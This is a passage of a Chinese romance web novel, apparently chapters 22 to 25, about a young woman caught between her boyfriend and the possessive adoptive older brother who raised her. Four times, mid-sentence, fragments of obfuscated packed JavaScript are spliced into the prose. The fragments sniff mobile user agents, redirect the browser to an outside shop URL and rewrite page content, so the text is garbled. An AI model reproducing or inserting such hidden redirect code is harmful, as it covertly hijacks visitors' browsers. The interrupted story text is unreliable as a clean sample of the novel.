女生笑道:“知道了知道了。”她前倾身子,伸长了手臂摸了张最上方的牌,翻开来面向大家,“真心话,说一个不为人知的秘密,就是……” 她也不是玩不起的类型,仔细想了想,道:“高中的时候不小心走错过男女厕所。” “里面当时有人吗?”有人好奇。 “有,被我吓得尖叫。然后我才发现自己走错了的。” “好,过。”乱佩佩一挥手,“继续。” 几圈下来,大部分人或多或少都输了几回,翻着卡牌,有表演大黄鸭走路的,还有要完成五十个仰卧起坐的,在中间被按着脚费力半天,像只扑棱蛾子,到最后做一个躺地上休息一会儿。 “四十三。”计数的是个拍搞笑小短片的博主,网名叫拉不拉多,揶揄,“你行不行啊?不行就去把酒喝了。” “你等等,等等……我可以。” 程拾醒在边上饶有兴趣地瞧着。 透过客厅旁的落地窗,望见外面漆黑的天,像被墨水淹没的白纸,路灯连成两条蜿蜒的线,延伸至尽头。 她瞥了眼外头的天色,翻了翻边上叠成一团放在毯子上的外套,捞出口袋里的手机,摁亮瞧了眼时间。 已经是晚上八点钟了。 蒋冬至半小时前在微信里拍了拍她,说是快结束了扣个1,他过来接她。 再往下滑,谈祝霄同她乱七八糟分享了一堆。 A男朋友:【今天的星星好多,可惜手机拍不出来。】 Puhpowee:【是吗?】 A男朋友:【是啊。】 A男朋友:【你今天活动结束了吗?】 A男朋友:【宝宝,我好想你啊,好想听听你的声音。】 “四十四!” “四十五!” 被惩罚的那位累得实在受不了了,瘫倒在地上,喘着气,最后还是灰溜溜地捂着腰,决定以喝酒的方式结束这场折磨。 拉不拉多余光里瞥见程拾醒握着手机,倏地一拍脑袋,“哎,拾贝壳是不是还没输过?” 乱佩佩闻言一愣,仔细想了想,羡慕:“对哦。我都接受了好几次惩罚了,拾贝壳怎么玩得那么好?” 程拾醒回完了消息,收回手机。 “想看我输啊?”她慢条斯理地撩起衣袖,笑得从容,“那就继续,看看今晚我有没有机会接受惩罚。” 众人唏嘘。 “话怎么说得那么招人嫉妒?” “继续继续!今晚每个人都起码得输个一次!” 程拾醒协调性和反应能力都不错,这种游戏对她来说不难。随着时间推移,拍手的节奏越来越快,她却越来越沉着。 后面几圈手忙脚乱的人越来越多,她依旧镇定。 乱佩佩又输了一次,翻牌一瞧,惩罚是“把离你最近的异性横抱起来”。离她最近的男性是拉不拉多,奈何她力气太小,憋红了脸,拉不拉多脚下仍然一丝不动。 喝了杯酒后,乱佩佩哀嚎着倒在毛毯上:“怎么那么难啊——告诉我,拾贝壳老师,不输的秘诀是什么?” “是拾贝壳老师的争强好胜。”程拾醒随口回应。 不过寿星都发话了,她也无意继续赢下去。在这群人中,她本就属于陌生的那个,偶尔输一次丢个面,也有利于彼此亲近。 再下一轮。 “啪啪。” “五。”比四。 “啪啪。” “三。”比一。 “啪啪。” “四。”程拾醒伸出四根手指。 拍手声乱了,全场一愣,立即起哄。 “拾贝壳刚是不是输了?” “天,居然也有战无不胜的拾贝壳老师输的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183263|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这天!” “翻牌翻牌!快翻牌!” 程拾醒弯唇笑着,伸手摸了张牌。 “是什么?” 乱佩佩探过脑袋来看,帮她念出了卡牌上的字:“给微信最近联系人第一位发消息说‘我想你了’。” “这个也不是很难,应该是挺熟的,才能当上微信最近联系人第一位吧。”拉不拉多啧了声。 “那不一定。”有人调侃,“也可能是突然要你加班的领导。” “贝壳不是还是学生吗?哪来的领导?” “那也有可能是老师,不太熟的班干部……我大学的时候乱七八糟要联系各种老师啊班干部啊的事可多了。” 乱佩佩好奇:“你的最近联系人第一位是谁啊?” 程拾醒不太在意地拿起手机,她方才跟谈祝霄聊过天,心里自然也没压力,跟男朋友说句想你是再正常不过的事情。 “我男朋友。” “你有男朋友啊?” “嗯。” 边上有人在感叹:“美女果然都是名花有主的。” 她没回这句话,只笑了下,摁着指纹解锁。 解锁成功,微信页面跳出来的那一秒,那个海岸油画头像猛地冒出个小红点,掠过谈祝霄,瞬间弹至顶端—— 怎么不回我? 她唇角的弧度僵了一瞬,慢慢落下来。 “……刺猬?”乱佩佩疑惑地念着她的备注,“为什么会给男友备注这个?你男友脾气不好吗?” 程拾醒下意识盖住手机屏幕,隔了一秒,才意识到这个动作没有必要,缓缓挪开手,抿了下唇。 “不是。”她低声道,“这个是我哥。” “啊——哥哥啊。”乱佩佩点头,“给哥哥发也没什么难度。” 她应了一声,手中却没动,半晌,偏头问乱佩佩:“还有酒吗?” “啊?”乱佩佩一怔,拎起空了的酒瓶摇了摇,“没了,刚我喝的是最后一杯。” “贝壳是不是不好意思给哥哥发?”拉不拉多在边上大声道,“亲人之间说点好听的也没什么的,不要尴尬。” 程拾醒手指蜷着,指腹重重按在手机侧边,盯着聊天框,没吭声。 过了好一会儿,她终于有了动作,点开蒋冬至的头像,迅速在聊天框里打下“我想你了”四个字,按下发送键,而后摁灭了屏幕。 “好了。”她语气听上去很轻松,很轻描淡写,唇角还扬着。 她不能因为蒋冬至就成为一个玩不起的人。 - 游戏结束后,一群人帮着收拾别墅里的垃圾。乱佩佩几次说了不用,她一个人来就行,却被驳回。 “你是寿星,哪有寿星干活的道理?”拉不拉多说,“坐着休息吧,寿星。” 乱佩佩无奈。 收拾完东西,该说再见的也该说再见了。这群人里大部分都是自己开车来的,从地下车库驶出,挥着手同大家告别。 “你怎么回去?”一个晚上,两个人混熟不少,乱佩佩的语气也跟着亲昵了许多,问,“现在挺晚了,要不要我让司机送你?” 程拾醒站在门口,手机搜着打车软件,刚要张口回答不用,便听不远处车喇叭拖长了音,将她要说的话堵在喉间。 轮胎摩擦沥青路的声音伴着车鸣愈发近了,白色车灯晃过视野,最终车稳稳停在别墅前。程拾醒抬起头,就见蒋冬至开门下了车,隔着一小段距离,倚在车上,歪着头看她。 四目相对间,他嗓音淡淡:“过来。” 身侧的乱佩佩看看蒋冬至,再扭头看看程拾醒,恍然大悟一般,眼神暧昧地拍拍程拾醒的肩膀,道:“怎么不早说?原来你男朋友过来接你呀!” 23. 23 乱佩佩的嗓音挺大。 她同蒋冬至对视着,浓重夜色下,他穿着那件与她同牌子的大衣,身后是一束散开的灯光,绒绒灰尘漂浮在车灯之下。 听见“男朋友”这三个字,他眉梢一挑,半是惊诧与疑惑,半是意味不明的涌动浪潮,令人捉摸不透。 “没。”她移开目光,“我哥。” “啊?”乱佩佩愣了下,尴尬地挠头,“抱歉抱歉,我听你前面说自己有男友,然后刚看你俩穿着同牌子的衣服,你们俩长得也不像……就误会了。” “没事。”程拾醒没太在意,挥挥手,“我先走了,拜拜。” “好,下次再来玩!”乱佩佩道,“拜拜!” 程拾醒双手揣着兜,迈着长腿一步一步走向他,余光里瞥过他,随后绕过车头,坐进了副驾。 蒋冬至跟着上了车,“砰”一下合上车门。 车被慢慢吞吞驶出了小区。眼下已是晚上九点半,马路上的车流依旧汹涌,川流不息,两侧人行道打扮精致的男男女女肆意享受着即将到来的夜生活,远处商场的霓虹灯闪烁,在视网膜里变换着颜色。 红灯停。 蒋冬至踩下刹车,稳稳停在斑马线前,左手手肘搭在窗边内侧,指尖抵着唇侧,忽而开口叫她:“程拾醒。” 她嗯了声,尾音上扬:“怎么了?” 他道:“听说你想我了。” 程拾醒打字的手停住,静止在屏幕上方,隔了会儿,她说:“发错人了。” “原来是打算发给谁?” 她唇间自然地吐出两个字:“男友。” “叭——”车鸣声乍响,惹得程拾醒下意识偏过头。 蒋冬至没看她,盯着马路对面那个闪烁着的红灯,手指从车喇叭上挪开。 “抱歉。”他说,“不小心碰到了。” 绿灯行。 蒋冬至挂了档位,继续先前的话题。 “那个谈……”他记不住名字,皱着眉嘶了声,半晌,说,“那个送你回宿舍的家伙?” 程拾醒应声,挪开眼,对他的态度视而不见。 “这倒是你第一次在我面前主动提起你的男朋友。” “如果你不问,我当然也不会提他。” 他立即问:“我不能问?” 她有点烦了,抿了下唇:“你对答案本该心知肚明。” “我并不心知肚明。”蒋冬至声音提了些,道,“我又不是你肚子里的蛔虫,我怎么知道你在想什么?我怎么知道你说想我……” 他卡了一下,才说下去:“……是不是真的?” “好了。”她嗓音淡淡,低头玩着自己的华容道,“现在你知道了。” 蒋冬至哑声,静了片刻,只笑了声,眉心紧着,嗓音里听不出半分笑意。有点像嘲讽,有点像觉得荒唐,也不知道究竟是在嗤些谁。 后半程,车内一直保持该有的安静。 到了家,程拾醒先去浴室洗了个澡,换回了睡衣,回到房间时,谈祝霄正巧弹来微信通话邀请。 她合上房门,手指一按,接通了电话,搁在耳边,语气轻快:“喂?” “喂?”那头的嗓音幽幽传过来,含着分抱怨,“终于有空理我了呀?” “刚洗完澡。”程拾醒听着直想笑,肩抵着门一旋身子,脊背和后脑勺靠在门上,半抱着胸,同他煲电话粥,“这不就理你了?” “我说想你,你都不回我。” “想你。”她当即补上,“很想你。怎么?因为这个不开心了?” “有点,你会哄我吗?” 她的嗓音里带点遗憾:“那怎么办啊?我很忙的,有的时候顾不上回你消息,你要经常不开心吗?” 谈祝霄赶紧道:“其实我也不算那么小气的人。” 她噗嗤一声笑了,肩膀耸动着。 “谈祝霄,你怎么那么……”话还未说完,敲门声咚咚两下,贴着木门震在耳畔,打断了她的话。 程拾醒收住了话,摸了摸耳朵,从门板上直起身,握着把手拉开门。 蒋冬至正站在她门前,垂着眼瞧着她。 “怎么了?”她问。 握在她掌心的手机在同一时间出了声,轻轻的,从话筒里传出来,带着疑问:“怎么了?” 程拾醒好似没听到从手机里传出的那句话,只是望着他,眉拧着。她刚卸了妆,本来妆容带来的攻击感被削弱了,面容清丽,在那样明亮的灯光下,琥珀色的瞳孔像琉璃,含着困惑。 他的视线顺着她的手臂下滑,落在她被握着自然垂落在身侧的手机屏幕上,只不过轻如点水的一点,便收回视线。 “哦,没什么事。”他神色自然,“天色不早了,跟你说声晚安。” “……”程拾醒压下眉梢,荒谬地呵出声笑,“就为了说声晚安?” 蒋冬至点头。 她眨了下眼,强压下无语。 “知道了。”程拾醒抬起手,冲他小幅度挥了挥,嗓音听上去甜甜乖乖的,“哥哥晚安。” 房门啪一下再次合上,她唇角的弧度立马降下,手机里安静了半晌的谈祝霄再一次出声询问:“宝宝,怎么了?” 她接起手机,坐上了床,闻言答:“没事,刚我哥过来。跟我说声晚安。” 电话那头的谈祝霄默了一秒,突然问:“今天你回家……是你哥来接的吗?” 隐隐约约的,像一句试探。 “嗯。”程拾醒脱掉拖鞋,躺进被窝里,侧着身子,睁着眼睛望着房间里的陈设。 这个房间是蒋冬至装修的,几乎是复刻了她在临霞最初的那个房间,粉色的墙纸,飘窗上的娃娃……她好像忘记告诉他了,她已经不喜欢粉色和娃娃了,大概是因为中学时代在他那个性冷淡一般的家里住习惯了。 程拾醒说:“你想问什么呢?” “没。”谈祝霄笑了两声,像在掩盖什么,声音低了下来,“就是感觉,你们兄妹俩关系挺好的。” 这是他第二次提起这句话。 程拾醒不想同他解释,说来说去,也说不清楚她和蒋冬至那样乱七八糟的关系,说不准还会影响他俩之间的感情。于是她只是含糊地嗯了下,算把这个问题应付过去了。 - 蒋冬至觉得自己最近有点奇怪,他变得更加敏感、焦躁,警戒线被拉响,尤其是在她那个所谓的男朋友面前。 这样很可笑,他也不明白自己究竟在在意些什么,他并不觉得她跟那个男生能走到最后。不过是会花上几个月的时间,到最后她的新鲜感过了,自然而然就分开了。 可是他就是,不想让她的目光会停留在别人身上。 手头的项目结束后,他抽了个时间去完成公司安排的体检。 每人每年体检一次是公司的硬性指标,不参加会扣奖金。快到截止日期了,上周蒋冬至被行政催了几次,体检、扣奖金这两个词几乎每天得在他耳边来一遍,带着温柔礼貌的语气和威胁的态度。 不止他一人,到了医院后,他一连撞见了几个熟面孔,手里拿着体检单,同他打着招呼,沈良也在其中。 “好巧啊蒋总。”沈良正坐在医院长廊旁的椅子上等待叫号,拍了拍边上的空位,“坐。” 蒋冬至颔首,在他身侧坐下。 今天周日,医院里人来人往,护士台前围了一群,边上有小孩因抽血哭闹,家长的轻哄声与屏幕上的叫号混在一起。 “你检查过几项了?”沈良凑过头来瞧他的体检单,“比我还少一项……唉,这项目怎么那么多?” 他脊背往后一靠,同蒋冬至抱怨:“你说公司也是,一天天催催催,又不让我们在工作日过来,非得挑个周末来检查。要不是因为奖金,我宁愿在家里休息。” “好歹是不出钱免费的体检。”蒋冬至垂眼瞧着单子上医生眼花缭乱的字迹,心不在焉道,“万一真有什么超标的指标呢?” 沈良想了想,“也是。” 屏幕上弹跳出沈良的名字,被机械女声一字一顿播报着,久等的沈良长呼出一口气,从椅子上站起身,指指诊室的门,“我先进去了。” 他进了诊室,蒋冬至仍低着头盯着那张体检单瞧。 可他看不出什么所以然来,那群汉字从视线里划过,却在脑海里留不下任何痕迹。他看不进去,只觉得心烦意乱。 今早,程拾醒先他一步出了门,化着精致的妆,斜挎着小包,哼着无名的歌,瞧着心情很好。 也许是又跟她那位男友约会去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈良笑到眯起眼,似乎觉得很好玩。蒋冬至是个很能忍的人,他是一条不曾偏移的直线,古井无波,尤其是处理工作时,再糟糕的客户、棘手的项目也能冷静平淡地接过、解决,这也是他年纪轻轻升职却能那么快的原因。 工作、回家、照顾妹妹,三点一线,他的生活里好像再塞不下其他任何事情。 他是这样的人,自打相识起就是这样。 沈良偶尔会怀疑,蒋冬至这个人是不是从小就这样,也许他刚出生就是个小大人,稳得四仰八叉。 故而乍然看到他这样鲜少表现出来的波动,沈良觉得很新鲜,再问:“心里不舒服?” 他喉头微滚,依旧没作声。 “哎呀,真是的,搞半天我还想着你怎么突然问这个呢!”沈良并不在意他的沉默,“弟弟妹妹怎么能一样呢?” 蒋冬至平时对他妹什么态度,沈良也知道。 那张泛了黄的合照夹在相框中,被摆在他的办公室里。照片有些年头了,上面两个人的面容尚还青涩,程拾醒不似现在这般高,穿着校服扎着马尾,被他拽着袖子,撇着嘴,而他睨着镜头,面无表情。两个人看上去似乎一个都不想拍这张照片,然而这张照片现在就摆放在那里,坐在工位上抬头就能看到的位置,谁也不给碰。 “你这就是妹控。就像是家里的大白菜被猪拱了一样,搁谁心里都难受,正常,习惯就好,妹妹以后总该谈恋爱结婚的。”沈良拍拍他的肩膀,继续说下去,感慨,“一想也是,时间过得那么快,看着亲妹妹从小小一个成长到现在,都已经当上大人……” 蒋冬至突然打断他的话:“不是亲妹。” 沈良愣住。 蒋冬至终于转过头来看向他,眼睛漆黑,认真地问:“如果……不是亲妹呢?” “……” 在沈良怔怔的目光中,蒋冬至看见了自己的倒影。 他看见自己急促地眨着的眼,听见渐重的心跳在胸膛碰撞,干渴与痒意一同在喉咙处升起,好像有什么正在逐步脱离掌控,倾倒向不可名状的模糊地带。 呼之欲出。 24. 24 校园歌手的决赛时间定在周六下午。真如谈祝霄所说,他的出场要比范茹画晚许多。 范茹画是2号,他是10号,最后一位。 范茹画下了舞台,在黑暗中四处张望,看到她的位置后,提着小裙子跑过来一屁股在她身侧坐下,脊背放松地往后靠着,喘着气,像刚结束完一场马拉松。 “完了,我刚忘词了。”她垮着脸,懊恼地喃喃,“没发挥好。” 程拾醒从小包里抽了张纸巾,递予她,“是吗?我没听出来,你唱得挺好的。” 范茹画道了声谢,接过纸巾小心翼翼按在额头流汗处,生怕弄花了妆——方才在台上忘词,太过紧张,冷汗直流。 “问你什么都说好听。”她根本不信程拾醒说的,撅了噘嘴,道,“你是对我带滤镜,可是评委没带……哎呀不管了,无论能不能拿奖,这次总归是进决赛了。” “就是,进步多大啊,哪怕今年没拿奖,按照你进步的速度,明年也一定能拿。” 范茹画被安慰到了,长呼出一口气,又兴高采烈了,“不提这个了。谈祝霄第几个出场?” “第十个。” “他唱的什么歌?” “不知道。”程拾醒摇摇头,“他不肯告诉我,说是让我期待一下。” “那么神秘?”范茹画诧异,被勾起了好奇心,“那我可要好好听听了。” 程拾醒低头微笑,“我也得好好听听了。” 看看究竟值不值得她期待。 靠综测章诱惑,来看决赛的观众比前几场多了许多,歌曲质量也明显高了不少。台上灯光明亮,白色光束摇晃,花样百出,助唱嘉宾、唱跳、乐队加持…… 范茹画听着男女对唱版的《不该》,啧啧感慨。 “我还是准备不够充足,早知道我也搞点花头了。”她眯着眼,听得满是享受,“这个和声真好听,胸腔共鸣好强……话说下一个就是谈祝霄了吧?” 程拾醒点开相机,不断放大,聚焦在台上人胸前标着序号9的贴纸上,“对。” 伴奏在女声吟唱中渐止,像是个被拉长的休止符,鞠躬过后,台上选手在掌声雷鸣中退场。 趁着主持人念卡牌上的流程,工作人员匆匆跑上台摆麦克风架子。漆黑的舞台幕布重新亮起光,白底黑字。主持人念完了过渡词,嗓音大了起来,铿锵有力:“……让我们把舞台交给下一位选手,欢迎他为我们带来歌曲……” 程拾醒抬眼望去,幕布上赤然是一首歌名。 “……《写给心动的自作曲》。”主持人,“有请经济学院的谈祝霄同学!” 没有直白地说是写给谁,但范茹画一下就听出来这里的“心动”是代指谁,惊了一秒,扭过头来看她:“写给你的?” “也许。”程拾醒耸肩,脑袋舒服地朝后搭靠着。 她远眺着有道高挑的身影抱着吉他从帷幕中缓步走到光圈之下,在椅上坐下,一双长腿随意搭放着,伸出一只手调了下麦,随后低头,指尖一拨琴弦,流畅的音符自他修长的指间流淌,旋律像温柔澄澈的水流。 他开了口,一如既往的干净,轻轻哼着。 程拾醒歪着头,安静地听着,忽而想到在酒吧见到他的第一面。 那会儿她对他的判断是错误的,她将环境加注在他身上,误以为他是高高飞起的蝴蝶,是迷离闪烁着的灯光,是灯红酒绿里的一员。 可是他干净、柔和、单纯,容易害羞,容易脸红,心思很容易叫人看透,如果她愿意,轻而易举就能牵着他走。 他的嗓音是阵拂面而来的微风,缓慢又清爽地落入她的耳里—— “你知道我的心跳热烈, 你知道我的彻夜难眠, 你知道我无计可施手忙脚乱, 你知道我想见你,要很多很多面。 我不想做你的浮光掠影, 比起普鲁斯特效应, 我只渴望靠近 …… ” 歌词在大屏幕上一句一句跳动着,范茹画却越听越心惊,旋过头去,却只看见光映在程拾醒的脸上,勾勒她眼神里的从容与笑意。 “程拾醒。”她忍不住开口,语气是少见的严肃。 程拾醒不紧不慢地转过头,“怎么了?” “谈祝霄拿自作曲去参加这场决赛,几乎是没有胜算能拿奖的,你知道吗?” 她语气轻松:“我知道啊。” “可是他还是这样做了,这首歌是对你的表白,你知道吗?” “我知道。” “他彻底完蛋了。”范茹画总结,注视着她的眼睛,仔细地寻找她眼底有些什么,试探性地问,“你呢?你打算怎么办?” 程拾醒偏头看着范茹画,忽而噗嗤一声笑了。 “你说的这些……和我有什么关系吗?”她的语气是那样轻描淡写,手指把玩着手机绳,“那都是他自己选择的,我说过,我只管现在。” 范茹画瞧着她漫不经心的样子,下意识松了口气,可随即又担心:“那如果你俩分手了呢?” “分手了就再也不见呗。” 范茹画看一眼台上,谈祝霄的目光有意无意落过来,估计是看见她俩了。那样的目光很难去形容,比天上的星星还亮,像在冬天里落入了一角春光,是热烈的期待,是胆怯的羞涩,是温和的缠绵。 “你确定他能做得到?”她问。 “做不到就去学着做到,那是之前就说好了的。”程拾醒平平静静的,唇角始终弯着,重新将目光落回舞台上,半晌,啧了声,“还挺浪漫。” - 确认自己没拿奖后,范茹画就先走了。 程拾醒留在礼堂门口等谈祝霄。 根据五名评委的打分,他排在第四,仅差两分就能拿到奖。可他背着吉他朝门口的她奔过来时,眼睛里却半点没有没拿到奖项的失落,额前的碎发随着他的跑动跳跃,余晖下,仿佛电影里的慢镜头。 他在她的面前停下步子,喘了声,眼睛亮晶晶的:“你喜欢我今天唱的歌吗?” 程拾醒喜欢他这样看着自己,全心全意地,专注地,眼睛里透露出来的满是对她的喜欢,总让她觉着心软 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197050|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。于是她踮起脚尖,抬高了手摸摸他的头发,像是在摸一只可爱的小狗:“很好听,特别好听,超级好听。” “那你喜欢吗?歌词我写了很久很久呢。” “我很惊讶。没想到你还会自己写歌,怎么那么优秀啊谈同学?”她既没说喜欢,也没说不喜欢,只是歪着头看他,笑盈盈的。 他眨了下眼睛,马上又笑着反问:“你会喜欢不优秀的人吗?” “不会。” “那我必须要优秀才好。”谈祝霄拉住她的手,“走,我们去吃晚饭。” 在此之前,他们已经有几天没见了,程拾醒似乎总是很忙,不是比赛,就是工作,空下来时会给他发消息。他晓得她空了,便见缝插针地弹视频、打电话。 眼下见了面,谈祝霄黏她黏得不行。 天色暗得极快,吃完晚饭从食堂出来,外面已经是一片漆黑。 谈祝霄牵着她的手散步,问:“你今天是回家还是住学校啊?” “回家。” “那我待会儿送你回去?” “不了。”程拾醒拒绝。 他不解:“为什么?人家男朋友都是会送女朋友回家的。” 程拾醒轻声道:“怕你送我到楼下,我就舍不得和你分开了。” 是甜言蜜语,像哄人的谎言,无人知道真假。 谈祝霄顿了顿,“那么喜欢我?” “当然。” “真的?”他看上去很高兴,又似乎有些不相信,在她面前停下了步子,重复问了遍,“真的吗?” 她乐,不答了,仰着脸在他下巴上轻啄了下,退开一步,借着路边昏黄的灯光,果然又见着了他通红的脸。 谈祝霄抿了下唇,四处望了望,忽而道:“等一下。” 他拉着她跑,不知要去何方,程拾醒下意识回头望了眼。 原先他们站的地方正是她宿舍楼下。 这次门口没有那个捂着她眼睛叫她回家的人。 直至到了光线昏暗、四下无人处,谈祝霄才停下步伐,转过身子。他呼气时的冷气凝成的白雾在空中散开,手仍紧紧握着她,就像抓住了什么或许下一秒就会像沙漏一样从指缝里溜走的珍宝。 “你上次……上次……”他的睫毛在乱颤,喉结滚着,没有直视她,唇瓣翕动着,“不是说要教我吗?” 她饶有兴趣地盯着他,故意装糊涂:“教你什么?” “你别……你知道的。”谈祝霄抓着她的力道下意识更大了些,语气无意中带了点撒娇。 程拾醒却是嘶了声,拿着不紧不慢的语速:“手疼。” 他立即松了点力道:“……抱歉。” 她哼笑声,得以从他的掌心中抽回去,后退开一步,掀起睫毛瞧着他的忐忑。 “想学?”她突然问。 他脸上的红晕漫到了耳尖,声音低得像蚊子:“不可以吗?” “我没说不可以。”程拾醒抬手,下巴轻扬着,用食指点了点自己的唇瓣,眼底荡开笑意,“想要,就得主动点。” “过来。” 25. 25 谈祝霄是真的不会接吻,碰到她时像个木讷的玩偶,低着脖子,双手环着她的腰,木桩似的动也不动,温顺地任由她主导着推进。 他的掌心的炙热贴在她的脸颊处,烫得惊人,寒风吹不散他猛烈的心脏,像舞台上被敲得最重最响的架子鼓,清晰可闻。 程拾醒瞧着他紧闭的眼睛,感受他的体温,挑着眉梢扬起唇角,隔了会儿,推了推他的胸膛,从他的唇上挪开,低着头哼笑,肩都跟着耸。 “还在线吗?”她捏捏他几乎能滴血的耳朵,调侃。 “在。”他愣愣地,张了张嘴,回应。 “在啊——”程拾醒拖长了尾音,“那怎么一点反应都没有?那么紧张啊?” 谈祝霄眨了下眼睛,默了两秒,把头埋在她肩颈间,闷声道:“因为喜欢你。” 他的喜欢一直表现得很明显。 程拾醒说:“我知道啊。” “我真的很喜欢你。”他很认真地强调,“真的真的。” “我知道啊。”她还是说。 “我想和你多待一会儿,我真的不能送你回家吗?”谈祝霄拥着她,撒娇,“学姐——宝宝——醒醒——” 程拾醒整个人忽地一怔,指尖一颤。 “别叫我醒醒。”她下意识提高了音量,嗓音划破冰凉的空气,直达他耳边。 谈祝霄突然被冷声呵了句,愣住,僵在那里。 “怎么了?”他颇有些小心翼翼地问,“是我说错什么了吗?你不喜欢别人这么叫你吗?对不起。” 她顿在那里,恍惚了好一会儿,才像从梦里缓缓醒过来,神智重新回到她的脑海。 “没事,抱歉。”程拾醒意识到方才的语气太过了,垂下眼睛,把所有情绪敛进去,拍拍他的肩,恢复了轻快的嗓音,“没人会这样叫我的……我不太习惯,也确实不是很喜欢。你可以叫我其他的,宝宝,亲爱的,女朋友……都可以。” 谈祝霄说好,将她抱得更紧了些。 - 程拾醒回到家时,已是深夜十一点,家中灯火通明。 她换了鞋,踏进了家门,余光里瞧着蒋冬至正坐在沙发上,对面的幕布上投放着《盗梦空间》,建筑倾塌,混着几声枪声,背景音入耳,一片嘈杂。 他膝上放着个抱枕,好似正以一个舒适的姿态靠在那里,目不转睛地看着电影,手中有一搭没一搭转动着玩的遥控器却在防盗门开启的那秒彻底停下。 程拾醒没有同他打招呼,径直往房间走,他突然出了声:“为什么那么晚回来?” 语气没什么起伏,仿佛一句随意的问候。 “在学校。” 他紧贴着她的嗓音继续问:“和范茹画?” 程拾醒停下步子,回过头,低着眼望着沙发上头也没抬的人,隔了会儿,微笑:“算是。” 电影里的陀螺被手指轻轻一拨,旋转、旋转……蒋冬至静静瞧着,直至陀螺慢慢停了下来,他才终于抬起头,侧过脸,同她对视。 “算……是?” 头顶灯光明亮,一切神色不得隐藏。 程拾醒挪开视线,嗯了声。 “还有什么事吗哥哥?”她问,说着便要继续抬脚,“没有的话我就先回房间了。” “等等。” 蒋冬至将抱枕拎到一边,从沙发上起了身,缓缓朝她走过来,最终站定在她面前。他个高,在不足半米的距离下,程拾醒得仰着脸才能看清他的脸。 他的目光在她的眼睛上不过轻轻一点,眼睑垂下,眸光从她鼻梁上滑落,定在她的唇上。 彼此安静间,她听见身前人缓慢却用力的呼吸声,黑色的高领毛衣将他整个人的气场压得低到不能再低,神色仍是一如既往的平静,瞳孔漆黑,像风雨俱来的前夕,像平无波澜却黑云压境的海面。 电影仍在持续,柯布低沉的嗓音在他们之间荡开:“Anideaislikeavirus,resilient,highlycontagious.Asmallestseedofanideacangrow.Itcangrowtodefineordestroyyou.(想法就像病毒,顽强,又具有极高的感染性。再细微的念头也会生根发芽,它能塑造你,亦能毁灭你。)” 蒋冬至伸出手,大拇指指腹即将触碰到她唇角的那一秒,程拾醒下意识偏开点脸,又或许是他先止了动作。 指尖离她皮肤仅剩不过几毫米,再近一点,甚至或许仅是颤一下,都会触到她的脸颊。然而他的手很稳,停在那儿,一动也不动。 她蹙眉,莫名其妙地看着他:“干什么?” 他头微歪着,盯着她的唇瓣,唇角微动,勾出个似笑非笑似嘲非嘲的弧度,手停在半空中滞了很久,最终还是收了回来。 “你的唇釉掉了。”蒋冬至说。 闻言,程拾醒跟着一顿,随后拿着不动声色的、仿佛什么也没发生什么也没懂的语气道:“知道了,哥哥,掉了也没关系的。” 她说完这句话,迈步要走,他却拽住她的小臂。 回家后程拾醒便把外头那件厚厚的牛仔羊羔毛外套脱下挂在臂弯内,眼下身上只穿了件薄薄的高领竖纹白毛衣,他手掌宽大,五指细长有力,轻而易举就能将她纤细的手臂整个控住,再度嗤笑出声:“没关系?” “是啊,怎么了?”程拾醒语气自然。 她要将茫然一装到底,他却偏偏要点出来,视线重新回到她的眼睛上,用那样轻描淡写、却一字一顿的语气警告她:“你最好别太过分了。” 非是不如她的意。 知道就知道了,不知道就不知道了,面上戳破了到底对他有什么好处? 更何况,她究竟过分在哪里? 程拾醒有点不耐烦,抿了下唇,没作声,眼底失了装出来的乖,手臂拧了拧,挣开他的手,脚步匆匆头也不回进了房间。 合上房门,她举起手机随意瞧了眼。 相机里的人面上化着精致的妆,唇瓣却失了原先艳丽的颜色。 程拾醒摁灭屏幕,有点懊恼。 和谈祝霄缠绵太久,居然忘记补妆了。 她靠着门,朝后捋了把头发,觉得烦得不得了,这种烦来源于被管教、被戳破,来源于蒋冬至的莫名其妙,来源于过去同他相处的每一秒拼凑出他们的现状。于是她下意识摸了摸口袋,空空如也。 没有人会在口袋里无时无刻备一颗葡萄味的糖果,除了蒋冬至。 就连她也不会,那是只有摸蒋冬至口袋才会出现的东西。 程拾醒抬起手背,重重抹了下唇瓣,像是一种发泄,脑中忽而闪过方才蒋冬至重重抓着她的手臂,垂着睫毛咬着字吐出的那一句“你最好别太过分了”。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 